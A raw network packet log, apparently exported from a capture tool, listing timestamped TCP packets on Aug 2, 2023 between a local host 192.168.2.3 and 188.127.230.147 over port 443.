Aug 2, 2023 10:13:02.642667055 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.642669916 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.642736912 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.642743111 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.642919064 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.642950058 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.642993927 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.643009901 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.643044949 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.643043995 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.643081903 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.643138885 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.643146992 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.643179893 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.661979914 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662053108 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662163019 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662193060 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662195921 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662220001 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662278891 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662281990 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662312031 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662327051 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662336111 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662379026 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662416935 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662417889 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662434101 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662470102 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662482023 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662506104 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662512064 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.662556887 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.662589073 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.664403915 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.664436102 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.664560080 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.664597034 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.664607048 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.664669037 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.664711952 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.664839983 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.664927959 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.664954901 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.665035009 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.665647030 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.665678024 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.665736914 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.665743113 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.665786028 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.669646025 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.669684887 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.669738054 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.669759989 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.669785023 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.669814110 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.669833899 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.669893980 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.669907093 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670316935 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670351982 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670393944 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670412064 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670440912 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670449018 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670470953 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670492887 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670505047 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670547009 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670612097 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670644045 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670682907 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670696974 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670733929 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.670950890 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.670981884 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671031952 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671047926 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671072960 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671201944 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671232939 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671284914 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671293974 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671329975 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671505928 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671530962 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671581030 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671588898 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671622038 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671827078 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671859980 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671901941 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.671909094 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.671956062 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672126055 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672151089 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672194958 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672202110 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672245026 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672429085 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672457933 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672517061 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672523975 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672570944 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672708988 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672734976 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672780991 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.672790051 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.672830105 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673029900 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673059940 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673105001 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673114061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673151970 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673346043 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673379898 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673417091 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673424959 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673461914 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673624992 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673659086 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673697948 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673703909 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.673747063 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.673988104 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.674045086 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.674180031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.674180031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.674190998 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.685070038 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.739747047 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.739794970 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.739903927 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.739954948 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740010023 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.740020037 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740044117 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740066051 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740067959 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.740114927 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.740134001 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740155935 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.740159988 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740199089 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.740345001 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.740355015 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741652966 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741688013 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741806030 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741816044 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.741839886 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741863012 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.741949081 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.741972923 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742069960 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742130041 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742145061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742167950 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742219925 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742229939 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742276907 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742326975 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742335081 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742366076 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742423058 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742434978 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742470026 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742474079 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742491961 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742513895 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742558956 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742594957 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742614031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742623091 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742659092 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742700100 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742706060 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742726088 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742768049 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742800951 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742810965 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.742846966 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.742921114 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743217945 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743252039 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743305922 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743320942 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743349075 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743350029 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743387938 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743413925 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743421078 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743459940 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743499041 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743525028 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743565083 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743572950 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743603945 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743606091 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743640900 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743655920 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743662119 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743709087 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743726015 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743756056 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743805885 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743813038 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743827105 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743843079 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743868113 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743875027 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743906975 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743912935 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.743948936 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.743974924 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744000912 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744040012 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744060040 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744085073 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744091988 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744118929 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744144917 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744151115 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744194031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744201899 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744218111 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744242907 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744268894 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744277000 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744307995 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744340897 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744374990 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744400978 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744406939 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744452000 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744472027 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744493961 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744524956 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744533062 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744564056 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744579077 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744610071 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744642019 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744648933 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744682074 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744702101 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744721889 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744745016 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744779110 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744786024 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744821072 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744832993 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744868040 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744905949 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744911909 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744939089 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.744957924 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.744983912 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745022058 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745029926 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745059013 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745079041 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745110035 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745140076 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745147943 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745191097 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745192051 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745222092 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745265961 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745274067 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745301962 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745305061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745347023 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745373011 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745379925 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745409966 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745414972 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745438099 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745460033 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745465994 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745510101 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745523930 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745528936 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745560884 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745596886 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745604992 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745630026 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745644093 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745670080 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745704889 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745709896 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745745897 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745754004 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745791912 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745817900 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745826006 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745860100 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745896101 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745920897 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.745975018 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.745982885 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746010065 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746016979 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746045113 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746062994 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746069908 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746104956 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746134043 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746157885 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746195078 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746201992 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746242046 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746251106 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746273041 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746314049 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746320963 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746349096 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746357918 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746387959 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746424913 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746434927 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746470928 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746474028 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746507883 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746526003 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746532917 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746572018 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746598005 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746624947 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746675014 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746681929 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746697903 CEST	443	49699	188.127.230.147	192.168.2.3
